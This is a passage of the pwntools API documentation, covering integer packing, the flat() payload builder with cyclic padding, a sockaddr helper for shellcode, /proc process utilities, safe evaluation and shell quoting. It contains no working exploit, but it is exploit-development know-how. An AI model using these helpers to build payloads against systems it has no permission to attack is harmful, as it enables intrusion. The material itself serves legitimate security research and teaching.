```
'ebp': ['bp'],
'ebx': ['bx', 'bl', 'bh'],
'ecx': ['cx', 'cl', 'ch'],
'edi': ['di'],
'edx': ['dx', 'dl', 'dh'],
'esi': ['si'],
'esp': ['sp'],
'si': [],
'sp': []}
```

pwnlib.util.misc.**run_in_new_terminal**(*command*, *terminal=None*, *args=None*, *kill_at_exit=True*, *preexec_fn=None*) → int

Run a command in a new terminal.

When `terminal` is not set:

- If `context.terminal` is set it will be used. If it is an iterable then `context.terminal[1:]` are default arguments.
- If a `pwntools-terminal` command exists in `$PATH`, it is used
- If tmux is detected (by the presence of the `$TMUX` environment variable), a new pane will be opened.
- If GNU Screen is detected (by the presence of the `$STY` environment variable), a new screen will be opened.
- If `$TERM_PROGRAM` is set, that is used.
- If X11 is detected (by the presence of the `$DISPLAY` environment variable), `x-terminal-emulator` is used.
- If WSL (Windows Subsystem for Linux) is detected (by the presence of a `wsl.exe` binary in the `$PATH` and `/proc/sys/kernel/osrelease` containing `Microsoft`), a new `cmd.exe` window will be opened.

If *kill_at_exit* is `True`, try to close the command/terminal when the current process exits. This may not work for all terminal types.

Parameters

- **command** (*str*) – The command to run.
- **terminal** (*str*) – Which terminal to use.
- **args** (*list*) – Arguments to pass to the terminal
- **kill_at_exit** (*bool*) – Whether to close the command/terminal on process exit.
- **preexec_fn** (*callable*) – Callable to invoke before exec().

Note: The command is opened with `/dev/null` for stdin, stdout, stderr.

Returns PID of the new terminal process

pwnlib.util.misc.**size**(*n*, *abbrev = 'B'*, *si = False*) → str

Convert the length of a bytestream to human readable form.

Parameters

- **n** (*int, iterable*) – The length to convert to human readable form, or an object which can have `len()` called on it.

- **abbrev** (*str*) – String appended to the size, defaults to `'B'`.

Example

```
>>> size(451)
'451B'
>>> size(1000)
'1000B'
>>> size(1024)
'1.00KB'
>>> size(1024, ' bytes')
'1.00K bytes'
>>> size(1024, si = True)
'1.02KB'
>>> [size(1024 ** n) for n in range(7)]
['1B', '1.00KB', '1.00MB', '1.00GB', '1.00TB', '1.00PB', '1024.00PB']
>>> size([])
'0B'
>>> size([1,2,3])
'3B'
```

`pwnlib.util.misc.`**`which`**(*name*, *flags = os.X_OK*, *all = False*) → str or str set

Works as the system command `which`; searches $PATH for `name` and returns a full path if found.

If *all* is `True` the set of all found locations is returned, else the first occurrence or `None` is returned.

Parameters

- **name** (*str*) – The file to search for.
- **all** (*bool*) – Whether to return all locations where *name* was found.

Returns If *all* is `True` the set of all locations where *name* was found, else the first location or `None` if not found.

Example

```
>>> which('sh') # doctest: +ELLIPSIS
'.../bin/sh'
```

`pwnlib.util.misc.`**`write`**(*path*, *data=''*, *create_dir=False*, *mode='w'*)

Create new file or truncate existing to zero length and write data.

2.44 `pwnlib.util.net` — Networking interfaces

`pwnlib.util.net.`**`getifaddrs`**() → dict list

A wrapper for libc's `getifaddrs`.

Parameters **None** –

Returns list of dictionaries each representing a *struct ifaddrs*. The dictionaries have the fields *name*, *flags*, *family*, *addr* and *netmask*. Refer to *getifaddrs(3)* for details. The fields *addr* and *netmask* are themselves dictionaries. Their structure depend on *family*. If *family* is not `socket.AF_INET` or `socket.AF_INET6` they will be empty.

`pwnlib.util.net.`**`interfaces`**(*all = False*) → dict

Parameters

- **all** (*bool*) – Whether to include interfaces with not associated address.
- **Default** – False.

Returns A dictionary mapping each of the hosts interfaces to a list of it's addresses. Each entry in the list is a tuple (family, addr), and *family* is either socket.AF_INET or socket.AF_INET6.

pwnlib.util.net.**interfaces4**(*all = False*) → dict

As interfaces() but only includes IPv4 addresses and the lists in the dictionary only contains the addresses not the family.

Parameters

- **all** (*bool*) – Whether to include interfaces with not associated address.
- **Default** – False.

Returns A dictionary mapping each of the hosts interfaces to a list of it's IPv4 addresses.

Examples

```
>>> interfaces4(all=True) # doctest: +ELLIPSIS
{...'127.0.0.1'...}
```

pwnlib.util.net.**interfaces6**(*all = False*) → dict

As interfaces() but only includes IPv6 addresses and the lists in the dictionary only contains the addresses not the family.

Parameters

- **all** (*bool*) – Whether to include interfaces with not associated address.
- **Default** – False.

Returns A dictionary mapping each of the hosts interfaces to a list of it's IPv6 addresses.

Examples

```
>>> interfaces6() # doctest: +ELLIPSIS
{...'::1'...}
```

pwnlib.util.net.**sockaddr**(*host, port, network = 'ipv4') -> (data, length, family*)

Creates a sockaddr_in or sockaddr_in6 memory buffer for use in shellcode.

Parameters

- **host** (*str*) – Either an IP address or a hostname to be looked up.
- **port** (*int*) – TCP/UDP port.
- **network** (*str*) – Either 'ipv4' or 'ipv6'.

Returns A tuple containing the sockaddr buffer, length, and the address family.

2.45 `pwnlib.util.packing` — Packing and unpacking of strings

Module for packing and unpacking integers.

Simplifies access to the standard `struct.pack` and `struct.unpack` functions, and also adds support for packing/unpacking arbitrary-width integers.

The packers are all context-aware for `endian` and `signed` arguments, though they can be overridden in the parameters.

Examples

```
>>> p8(0)
b'\x00'
>>> p32(0xdeadbeef)
b'\xef\xbe\xad\xde'
>>> p32(0xdeadbeef, endian='big')
b'\xde\xad\xbe\xef'
>>> with context.local(endian='big'): p32(0xdeadbeef)
b'\xde\xad\xbe\xef'
```

Make a frozen packer, which does not change with context.

```
>>> p=make_packer('all')
>>> p(0xff)
b'\xff'
>>> p(0x1ff)
b'\xff\x01'
>>> with context.local(endian='big'): print(repr(p(0x1ff)))
b'\xff\x01'
```

`pwnlib.util.packing.`**`dd`**(*dst*, *src*, *count = 0*, *skip = 0*, *seek = 0*, *truncate = False*) → dst

Inspired by the command line tool `dd`, this function copies *count* byte values from offset *seek* in *src* to offset *skip* in *dst*. If *count* is 0, all of `src[seek:]` is copied.

If *dst* is a mutable type it will be updated. Otherwise a new instance of the same type will be created. In either case the result is returned.

src can be an iterable of characters or integers, a unicode string or a file object. If it is an iterable of integers, each integer must be in the range [0;255]. If it is a unicode string, its UTF-8 encoding will be used.

The seek offset of file objects will be preserved.

Parameters

- **dst** – Supported types are `file`, `list`, `tuple`, `str`, `bytearray` and `unicode`.
- **src** – An iterable of byte values (characters or integers), a unicode string or a file object.
- **count** (*int*) – How many bytes to copy. If *count* is 0 or larger than `len(src[seek:])`, all bytes until the end of *src* are copied.
- **skip** (*int*) – Offset in *dst* to copy to.
- **seek** (*int*) – Offset in *src* to copy from.
- **truncate** (*bool*) – If `True`, *dst* is truncated at the last copied byte.

Returns A modified version of *dst*. If *dst* is a mutable type it will be modified in-place.

Examples

```
>>> dd(tuple('Hello!'), b'?', skip = 5)
('H', 'e', 'l', 'l', 'o', b'?')
>>> dd(list('Hello!'), (63,), skip = 5)
['H', 'e', 'l', 'l', 'o', b'?']
>>> _ = open('/tmp/foo', 'w').write('A' * 10)
>>> dd(open('/tmp/foo'), open('/dev/zero'), skip = 3, count = 4).read()
'AAA\x00\x00\x00\x00AAA'
>>> _ = open('/tmp/foo', 'w').write('A' * 10)
>>> dd(open('/tmp/foo'), open('/dev/zero'), skip = 3, count = 4, truncate = True).
↪read()
'AAA\x00\x00\x00\x00'
```

`pwnlib.util.packing.`**`fit`**`(*args, **kwargs)`

Legacy alias for `flat()`

`pwnlib.util.packing.`**`flat`**`(*a, **kw)`

flat(*args, preprocessor = None, length = None, filler = de_bruijn(), word_size = None, endianness = None, sign = None) -> str

Flattens the arguments into a string.

This function takes an arbitrary number of arbitrarily nested lists, tuples and dictionaries. It will then find every string and number inside those and flatten them out. Strings are inserted directly while numbers are packed using the `pack()` function. Unicode strings are UTF-8 encoded.

Dictionary keys give offsets at which to place the corresponding values (which are recursively flattened). Offsets are relative to where the flattened dictionary occurs in the output (i.e. `{0: 'foo'}` is equivalent to `'foo'`). Offsets can be integers, unicode strings or regular strings. Integer offsets >= `2**(word_size-8)` are converted to a string using `pack()`. Unicode strings are UTF-8 encoded. After these conversions offsets are either integers or strings. In the latter case, the offset will be the lowest index at which the string occurs in *filler*. See examples below.

Space between pieces of data is filled out using the iterable *filler*. The *n*'th byte in the output will be byte at index `n % len(iterable)` byte in *filler* if it has finite length or the byte at index *n* otherwise.

If *length* is given, the output will be padded with bytes from *filler* to be this size. If the output is longer than *length*, a `ValueError` exception is raised.

The three kwargs *word_size*, *endianness* and *sign* will default to using values in `pwnlib.context` if not specified as an argument.

Parameters

- **`args`** – Values to flatten
- **`preprocessor`** (*`function`*) – Gets called on every element to optionally transform the element before flattening. If `None` is returned, then the original value is used.
- **`length`** – The length of the output.
- **`filler`** – Iterable to use for padding.
- **`word_size`** (*`int`*) – Word size of the converted integer.
- **`endianness`** (*`str`*) – Endianness of the converted integer ("little"/"big").
- **`sign`** (*`str`*) – Signedness of the converted integer (False/True)

Examples

(Test setup, please ignore)

```
>>> context.clear()
```

Basic usage of *flat()* works similar to the pack() routines.

```
>>> flat(4)
b'\x04\x00\x00\x00'
```

flat() works with strings, bytes, lists, and dictionaries.

```
>>> flat(b'X')
b'X'
>>> flat([1,2,3])
b'\x01\x00\x00\x00\x02\x00\x00\x00\x03\x00\x00\x00'
>>> flat({4:b'X'})
b'aaaaX'
```

flat() flattens all of the values provided, and allows nested lists and dictionaries.

```
>>> flat([{4:b'X'}] * 2)
b'aaaaXaaacX'
>>> flat([[[[[[[[[1]]]], 2]]]]])
b'\x01\x00\x00\x00\x02\x00\x00\x00'
```

You can also provide additional arguments like endianness, word-size, and whether the values are treated as signed or not.

```
>>> flat(1, b"test", [[[b"AB"]*2]*3], endianness = 'little', word_size = 16, sign␣
↪= False)
b'\x01\x00testABABABABABAB'
```

A preprocessor function can be provided in order to modify the values in-flight. This example converts increments each value by 1, then converts to a byte string.

```
>>> flat([1, [2, 3]], preprocessor = lambda x: str(x+1).encode())
b'234'
```

Using dictionaries is a fast way to get specific values at specific offsets, without having to do `data += "foo"` repeatedly.

```
>>> flat({12: 0x41414141,
...       24: b'Hello',
...      })
b'aaaabaaacaaaAAAAeaaafaaaHello'
```

Dictionary usage permits directly using values derived from *cyclic()*. See *cyclic()*, **:function:'pwnlib.context.context.cyclic_alphabet'**, and `context.cyclic_size` for more options.

The cyclic pattern can be provided as either the text or hexadecimal offset.

```
>>> flat({ 0x61616162: b'X'})
b'aaaaX'
>>> flat({'baaa': b'X'})
b'aaaaX'
```

Fields do not have to be in linear order, and can be freely mixed. This also works with cyclic offsets.

```
>>> flat({2: b'A', 0:b'B'})
b'BaA'
>>> flat({0x61616161: b'x', 0x61616162: b'y'})
b'xaaay'
>>> flat({0x61616162: b'y', 0x61616161: b'x'})
b'xaaay'
```

Fields do not have to be in order, and can be freely mixed.

```
>>> flat({'caaa': b'XXXX', 16: b'\x41', 20: 0xdeadbeef})
b'aaaabaaaXXXXdaaaAaaa\xef\xbe\xad\xde'
>>> flat({ 8: [0x41414141, 0x42424242], 20: b'CCCC'})
b'aaaabaaaAAAABBBBeaaaCCCC'
>>> fit({
...     0x61616161: b'a',
...     1: b'b',
...     0x61616161+2: b'c',
...     3: b'd',
... })
b'abadbaaac'
```

By default, gaps in the data are filled in with the `cyclic()` pattern. You can customize this by providing an iterable or method for the `filler` argument.

```
>>> flat({12: b'XXXX'}, filler = b'_', length = 20)
b'____________XXXX____'
>>> flat({12: b'XXXX'}, filler = b'AB', length = 20)
b'ABABABABABABXXXXABAB'
```

Nested dictionaries also work as expected.

```
>>> flat({4: {0: b'X', 4: b'Y'}})
b'aaaaXaaaY'
>>> fit({4: {4: b'XXXX'}})
b'aaaabaaaXXXX'
```

Negative indices are also supported, though this only works for integer keys.

```
>>> flat({-4: b'x', -1: b'A', 0: b'0', 4: b'y'})
b'xaaA0aaay'
```

`pwnlib.util.packing.`**`make_packer`**(*word_size = None*, *endianness = None*, *sign = None*) → number → str

Creates a packer by "freezing" the given arguments.

Semantically calling `make_packer(w, e, s)(data)` is equivalent to calling `pack(data, w, e, s)`. If word_size is one of 8, 16, 32 or 64, it is however faster to call this function, since it will then use a specialized version.

Parameters

- **word_size** (*int*) – The word size to be baked into the returned packer or the string all (in bits).
- **endianness** (*str*) – The endianness to be baked into the returned packer. ("little"/"big")
- **sign** (*str*) – The signness to be baked into the returned packer. ("unsigned"/"signed")
- **kwargs** – Additional context flags, for setting by alias (e.g. `endian=` rather than index)

Returns A function, which takes a single argument in the form of a number and returns a string of that number in a packed form.

Examples

```
>>> p = make_packer(32, endian='little', sign='unsigned')
>>> p
<function _p32lu at 0x...>
>>> p(42)
b'*\x00\x00\x00'
>>> p(-1)
Traceback (most recent call last):
    ...
error: integer out of range for 'I' format code
>>> make_packer(33, endian='little', sign='unsigned')
<function ...<lambda> at 0x...>
```

`pwnlib.util.packing.`**`make_unpacker`**(*word_size = None*, *endianness = None*, *sign = None*, ***kwargs*) → str → number

Creates a unpacker by "freezing" the given arguments.

Semantically calling `make_unpacker(w, e, s)(data)` is equivalent to calling `unpack(data, w, e, s)`. If word_size is one of 8, 16, 32 or 64, it is however faster to call this function, since it will then use a specialized version.

Parameters

- **word_size** (*int*) – The word size to be baked into the returned packer (in bits).
- **endianness** (*str*) – The endianness to be baked into the returned packer. ("little"/"big")
- **sign** (*str*) – The signness to be baked into the returned packer. ("unsigned"/"signed")
- **kwargs** – Additional context flags, for setting by alias (e.g. `endian=` rather than index)

Returns A function, which takes a single argument in the form of a string and returns a number of that string in an unpacked form.

Examples

```
>>> u = make_unpacker(32, endian='little', sign='unsigned')
>>> u
<function _u32lu at 0x...>
>>> hex(u(b'/bin'))
'0x6e69622f'
>>> u(b'abcde')
Traceback (most recent call last):
    ...
error: unpack requires a string argument of length 4
>>> make_unpacker(33, endian='little', sign='unsigned')
<function ...<lambda> at 0x...>
```

`pwnlib.util.packing.`**`p16`**(*number*, *sign*, *endian*, *...*) → bytes

Packs an 16-bit integer

Parameters

- **number** (*int*) – Number to convert

- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The packed number as a byte string

`pwnlib.util.packing.`**`p32`**(*number*, *sign*, *endian*, *...*) → bytes

Packs an 32-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The packed number as a byte string

`pwnlib.util.packing.`**`p64`**(*number*, *sign*, *endian*, *...*) → bytes

Packs an 64-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The packed number as a byte string

`pwnlib.util.packing.`**`p8`**(*number*, *sign*, *endian*, *...*) → bytes

Packs an 8-bit integer

Parameters

- **number** (*int*) – Number to convert
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The packed number as a byte string

`pwnlib.util.packing.`**`pack`**(*number*, *word_size = None*, *endianness = None*, *sign = None*, ***kwargs*) → str

Packs arbitrary-sized integer.

Word-size, endianness and signedness is done according to context.

word_size can be any positive number or the string "all". Choosing the string "all" will output a string long enough to contain all the significant bits and thus be decodable by `unpack()`.

word_size can be any positive number. The output will contain word_size/8 rounded up number of bytes. If word_size is not a multiple of 8, it will be padded with zeroes up to a byte boundary.

Parameters

- **number** (*int*) – Number to convert
- **word_size** (*int*) – Word size of the converted integer or the string 'all' (in bits).

- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer (False/True)
- **kwargs** – Anything that can be passed to context.local

Returns The packed number as a string.

Examples

```
>>> pack(0x414243, 24, 'big', True)
b'ABC'
>>> pack(0x414243, 24, 'little', True)
b'CBA'
>>> pack(0x814243, 24, 'big', False)
b'\x81BC'
>>> pack(0x814243, 24, 'big', True)
Traceback (most recent call last):
    ...
ValueError: pack(): number does not fit within word_size
>>> pack(0x814243, 25, 'big', True)
b'\x00\x81BC'
>>> pack(-1, 'all', 'little', True)
b'\xff'
>>> pack(-256, 'all', 'big', True)
b'\xff\x00'
>>> pack(0x0102030405, 'all', 'little', True)
b'\x05\x04\x03\x02\x01'
>>> pack(-1)
b'\xff\xff\xff\xff'
>>> pack(0x80000000, 'all', 'big', True)
b'\x00\x80\x00\x00\x00'
```

pwnlib.util.packing.**u16**(*number*, *sign*, *endian*, *...*) → int

Unpacks an 16-bit integer

Parameters

- **data** (*bytes*) – Byte string to convert
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The unpacked number

pwnlib.util.packing.**u32**(*number*, *sign*, *endian*, *...*) → int

Unpacks an 32-bit integer

Parameters

- **data** (*bytes*) – Byte string to convert
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.u64(number, sign, endian, ...)` → int

Unpacks an 64-bit integer

Parameters

- **data** (*bytes*) – Byte string to convert
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.u8(number, sign, endian, ...)` → int

Unpacks an 8-bit integer

Parameters

- **data** (*bytes*) – Byte string to convert
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer ("unsigned"/"signed")
- **kwargs** (*dict*) – Arguments passed to context.local(), such as `endian` or `signed`.

Returns The unpacked number

`pwnlib.util.packing.unpack(data, word_size = None, endianness = None, sign = None, **kwargs)` → int

Packs arbitrary-sized integer.

Word-size, endianness and signedness is done according to context.

word_size can be any positive number or the string "all". Choosing the string "all" is equivalent to `len(data)*8`.

If *word_size* is not a multiple of 8, then the bits used for padding are discarded.

Parameters

- **number** (*int*) – String to convert
- **word_size** (*int*) – Word size of the converted integer or the string "all" (in bits).
- **endianness** (*str*) – Endianness of the converted integer ("little"/"big")
- **sign** (*str*) – Signedness of the converted integer (False/True)
- **kwargs** – Anything that can be passed to context.local

Returns The unpacked number.

Examples

```
>>> hex(unpack(b'\xaa\x55', 16, endian='little', sign=False))
'0x55aa'
>>> hex(unpack(b'\xaa\x55', 16, endian='big', sign=False))
'0xaa55'
>>> hex(unpack(b'\xaa\x55', 16, endian='big', sign=True))
'-0x55ab'
>>> hex(unpack(b'\xaa\x55', 15, endian='big', sign=True))
'0x2a55'
```

(continues on next page)

(continued from previous page)

```
>>> hex(unpack(b'\xff\x02\x03', 'all', endian='little', sign=True))
'0x302ff'
>>> hex(unpack(b'\xff\x02\x03', 'all', endian='big', sign=True))
'-0xfdfd'
```

pwnlib.util.packing.**unpack_many**(*a, **kw)

unpack(data, word_size = None, endianness = None, sign = None) -> int list

Splits *data* into groups of `word_size//8` bytes and calls `unpack()` on each group. Returns a list of the results.

word_size must be a multiple of *8* or the string "all". In the latter case a singleton list will always be returned.

Args number (int): String to convert word_size (int): Word size of the converted integers or the string "all" (in bits). endianness (str): Endianness of the converted integer ("little"/"big") sign (str): Signedness of the converted integer (False/True) kwargs: Anything that can be passed to context.local

Returns The unpacked numbers.

Examples

```
>>> list(map(hex, unpack_many(b'\xaa\x55\xcc\x33', 16, endian='little',␣
↪sign=False)))
['0x55aa', '0x33cc']
>>> list(map(hex, unpack_many(b'\xaa\x55\xcc\x33', 16, endian='big', sign=False)))
['0xaa55', '0xcc33']
>>> list(map(hex, unpack_many(b'\xaa\x55\xcc\x33', 16, endian='big', sign=True)))
['-0x55ab', '-0x33cd']
>>> list(map(hex, unpack_many(b'\xff\x02\x03', 'all', endian='little',␣
↪sign=True)))
['0x302ff']
>>> list(map(hex, unpack_many(b'\xff\x02\x03', 'all', endian='big', sign=True)))
['-0xfdfd']
```

2.46 `pwnlib.util.proc` — Working with `/proc/`

pwnlib.util.proc.**ancestors**(*pid*) → int list

Parameters **pid** (*int*) – PID of the process.

Returns List of PIDs of whose parent process is *pid* or an ancestor of *pid*.

Example

```
>>> ancestors(os.getpid()) # doctest: +ELLIPSIS
[..., 1]
```

pwnlib.util.proc.**children**(*ppid*) → int list

Parameters **pid** (*int*) – PID of the process.

Returns List of PIDs of whose parent process is *pid*.

pwnlib.util.proc.**cmdline**(*pid*) → str list

Parameters **pid** (*int*) – PID of the process.

Returns A list of the fields in `/proc/<pid>/cmdline`.

Example

```
>>> 'py' in ''.join(cmdline(os.getpid()))
True
```

pwnlib.util.proc.**cwd**(*pid*) → str

Parameters **pid** (*int*) – PID of the process.

Returns The path of the process's current working directory. I.e. what `/proc/<pid>/cwd` points to.

Example

```
>>> cwd(os.getpid()) == os.getcwd()
True
```

pwnlib.util.proc.**descendants**(*pid*) → dict

Parameters **pid** (*int*) – PID of the process.

Returns Dictionary mapping the PID of each child of *pid* to it's descendants.

Example

```
>>> d = descendants(os.getppid())
>>> os.getpid() in d.keys()
True
```

pwnlib.util.proc.**exe**(*pid*) → str

Parameters **pid** (*int*) – PID of the process.

Returns The path of the binary of the process. I.e. what `/proc/<pid>/exe` points to.

Example

```
>>> exe(os.getpid()) == os.path.realpath(sys.executable)
True
```

pwnlib.util.proc.**name**(*pid*) → str

Parameters **pid** (*int*) – PID of the process.

Returns Name of process as listed in `/proc/<pid>/status`.

Example

```
>>> p = process('cat')
>>> name(p.pid)
'cat'
```

pwnlib.util.proc.**parent**(*pid*) → int

Parameters **pid** (*int*) – PID of the process.

Returns Parent PID as listed in `/proc/<pid>/status` under `PPid`, or 0 if there is not parent.

pwnlib.util.proc.**pid_by_name**(*name*) → int list

Parameters **name** (*str*) – Name of program.

Returns List of PIDs matching *name* sorted by lifetime, youngest to oldest.

Example

```
>>> os.getpid() in pid_by_name(name(os.getpid()))
True
```

pwnlib.util.proc.**pidof**(*target*) → int list

Get PID(s) of *target*. The returned PID(s) depends on the type of *target*:

- `str`: PIDs of all processes with a name matching *target*.
- *pwnlib.tubes.process.process*: singleton list of the PID of *target*.
- *pwnlib.tubes.sock.sock*: singleton list of the PID at the remote end of *target* if it is running on the host. Otherwise an empty list.

Parameters **target** (*object*) – The target whose PID(s) to find.

Returns A list of found PIDs.

Example

```
>>> l = tubes.listen.listen()
>>> p = process(['curl', '-s', 'http://127.0.0.1:%d'%l.lport])
>>> pidof(p) == pidof(l) == pidof(('127.0.0.1', l.lport))
True
```

pwnlib.util.proc.**starttime**(*pid*) → float

Parameters **pid** (*int*) – PID of the process.

Returns The time (in seconds) the process started after system boot

Example

```
>>> starttime(os.getppid()) <= starttime(os.getpid())
True
```

pwnlib.util.proc.**stat**(*pid*) → str list

Parameters **pid** (*int*) – PID of the process.

Returns A list of the values in /proc/<pid>/stat, with the exception that (and) has been removed from around the process name.

Example

```
>>> stat(os.getpid())[2]
'R'
```

pwnlib.util.proc.**state**(*pid*) → str

Parameters **pid** (*int*) – PID of the process.

Returns State of the process as listed in /proc/<pid>/status. See *proc(5)* for details.

Example

```
>>> state(os.getpid())
'R (running)'
```

pwnlib.util.proc.**status**(*pid*) → dict
Get the status of a process.

Parameters **pid** (*int*) – PID of the process.

Returns The contents of /proc/<pid>/status as a dictionary.

pwnlib.util.proc.**tracer**(*pid*) → int

Parameters **pid** (*int*) – PID of the process.

Returns PID of the process tracing *pid*, or None if no *pid* is not being traced.

Example

```
>>> tracer(os.getpid()) is None
True
```

pwnlib.util.proc.**wait_for_debugger**(*pid*, *debugger_pid=None*) → None
Sleeps until the process with PID *pid* is being traced. If debugger_pid is set and debugger exits, raises an error.

Parameters **pid** (*int*) – PID of the process.

Returns None

2.47 pwnlib.util.safeeval — Safe evaluation of python code

pwnlib.util.safeeval.**_get_opcodes**(*codeobj*) → [opcodes]
Extract the actual opcodes as a list from a code object

```
>>> c = compile("[1 + 2, (1,2)]", "", "eval")
>>> _get_opcodes(c)
[100, 100, 103, 83]
```

pwnlib.util.safeeval.**const** (*expression*) → value

Safe Python constant evaluation

Evaluates a string that contains an expression describing a Python constant. Strings that are not valid Python expressions or that contain other code besides the constant raise ValueError.

Examples

```
>>> const("10")
10
>>> const("[1,2, (3,4), {'foo':'bar'}]")
[1, 2, (3, 4), {'foo': 'bar'}]
>>> const("[1]+[2]")
Traceback (most recent call last):
...
ValueError: opcode BINARY_ADD not allowed
```

pwnlib.util.safeeval.**expr** (*expression*) → value

Safe Python expression evaluation

Evaluates a string that contains an expression that only uses Python constants. This can be used to e.g. evaluate a numerical expression from an untrusted source.

Examples

```
>>> expr("1+2")
3
>>> expr("[1,2]*2")
[1, 2, 1, 2]
>>> expr("__import__('sys').modules")
Traceback (most recent call last):
...
ValueError: opcode LOAD_NAME not allowed
```

pwnlib.util.safeeval.**test_expr** (*expr, allowed_codes*) → codeobj

Test that the expression contains only the listed opcodes. If the expression is valid and contains only allowed codes, return the compiled code object. Otherwise raise a ValueError

pwnlib.util.safeeval.**values** (*expression, dict*) → value

Safe Python expression evaluation

Evaluates a string that contains an expression that only uses Python constants and values from a supplied dictionary. This can be used to e.g. evaluate e.g. an argument to a syscall.

Note: This is potentially unsafe if e.g. the __add__ method has side effects.

Examples

```
>>> values("A + 4", {'A': 6})
10
>>> class Foo:
...     def __add__(self, other):
...         print("Firing the missiles")
>>> values("A + 1", {'A': Foo()})
Firing the missiles
```

(continues on next page)

(continued from previous page)

```
>>> values("A.x", {'A': Foo()})
Traceback (most recent call last):
...
ValueError: opcode LOAD_ATTR not allowed
```

2.48 `pwnlib.util.sh_string` — Shell Expansion is Hard

Routines here are for getting any NULL-terminated sequence of bytes evaluated intact by any shell. This includes all variants of quotes, whitespace, and non-printable characters.

2.48.1 Supported Shells

The following shells have been evaluated:

- Ubuntu (dash/sh)
- MacOS (GNU Bash)
- Zsh
- FreeBSD (sh)
- OpenBSD (sh)
- NetBSD (sh)

Debian Almquist shell (Dash)

Ubuntu 14.04 and 16.04 use the Dash shell, and /bin/sh is actually just a symlink to /bin/dash. The feature set supported when invoked as "sh" instead of "dash" is different, and we focus exclusively on the "/bin/sh" implementation.

From the Ubuntu Man Pages, every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

```
Quoting
  Quoting is used to remove the special meaning of certain characters or
  words to the shell, such as operators, whitespace, or keywords.  There
  are three types of quoting: matched single quotes, matched double quotes,
  and backslash.

Backslash
  A backslash preserves the literal meaning of the following character,
  with the exception of newline.  A backslash preceding a newline is
  treated as a line continuation.

Single Quotes
  Enclosing characters in single quotes preserves the literal meaning of
  all the characters (except single quotes, making it impossible to put
  single-quotes in a single-quoted string).

Double Quotes
  Enclosing characters within double quotes preserves the literal meaning
  of all characters except dollarsign ($), backquote (`), and backslash
  (\).  The backslash inside double quotes is historically weird, and
```

(continues on next page)

(continued from previous page)

```
  serves to quote only the following characters:
        $ ` " \ <newline>.
  Otherwise it remains literal.
```

GNU Bash

The Bash shell is default on many systems, though it is not generally the default system-wide shell (i.e., the *system* syscall does not generally invoke it).

That said, its prevalence suggests that it also be addressed.

From the GNU Bash Manual, every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

```
3.1.2.1 Escape Character

A non-quoted backslash '\' is the Bash escape character. It preserves the
literal value of the next character that follows, with the exception of
newline. If a ``\\newline`` pair appears, and the backslash itself is not
quoted, the ``\\newline`` is treated as a line continuation (that is, it
is removed from the input stream and effectively ignored).

3.1.2.2 Single Quotes

Enclosing characters in single quotes (''') preserves the literal value of
each character within the quotes. A single quote may not occur between single
uotes, even when preceded by a backslash.

3.1.2.3 Double Quotes

Enclosing characters in double quotes ('"') preserves the literal value of a
ll characters within the quotes, with the exception of '$', '`', '\', and,
when history expansion is enabled, '!'. The characters '$' and '`' retain their
pecial meaning within double quotes (see Shell Expansions). The backslash retains
its special meaning only when followed by one of the following characters:
'$', '`', '"', '\', or newline. Within double quotes, backslashes that are
followed by one of these characters are removed. Backslashes preceding
characters without a special meaning are left unmodified. A double quote may
be quoted within double quotes by preceding it with a backslash. If enabled,
history expansion will be performed unless an '!' appearing in double quotes
is escaped using a backslash. The backslash preceding the '!' is not removed.

The special parameters '*' and '@' have special meaning when in double quotes
see Shell Parameter Expansion).
```

Z Shell

The Z shell is also a relatively common user shell, even though it's not generally the default system-wide shell.

From the Z Shell Manual, every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

```
A character may be quoted (that is, made to stand for itself) by preceding
it with a '\'. '\' followed by a newline is ignored.
```

(continues on next page)

(continued from previous page)

```
A string enclosed between ‘$'’ and ‘'’ is processed the same way as the
string arguments of the print builtin, and the resulting string is considered
o be entirely quoted. A literal ‘'’ character can be included in the string
by using the ‘\\'’ escape.

All characters enclosed between a pair of single quotes ('') that is not
preceded by a ‘$’ are quoted. A single quote cannot appear within single
quotes unless the option RC_QUOTES is set, in which case a pair of single
quotes are turned into a single quote. For example,

print ''''
outputs nothing apart from a newline if RC_QUOTES is not set, but one single
quote if it is set.

Inside double quotes (""), parameter and command substitution occur, and
‘\’ quotes the characters ‘\’, ‘`’, ‘"’, and ‘$’.
```

FreeBSD Shell

Compatibility with the FreeBSD shell is included for completeness.

From the FreeBSD man pages, every character except for single-quote can be wrapped in single-quotes, and a backslash can be used to escape unquoted single-quotes.

```
Quoting is used to remove the special meaning of certain characters or
words to the shell, such as operators, whitespace, keywords, or alias
names.

There are four types of quoting: matched single quotes, dollar-single
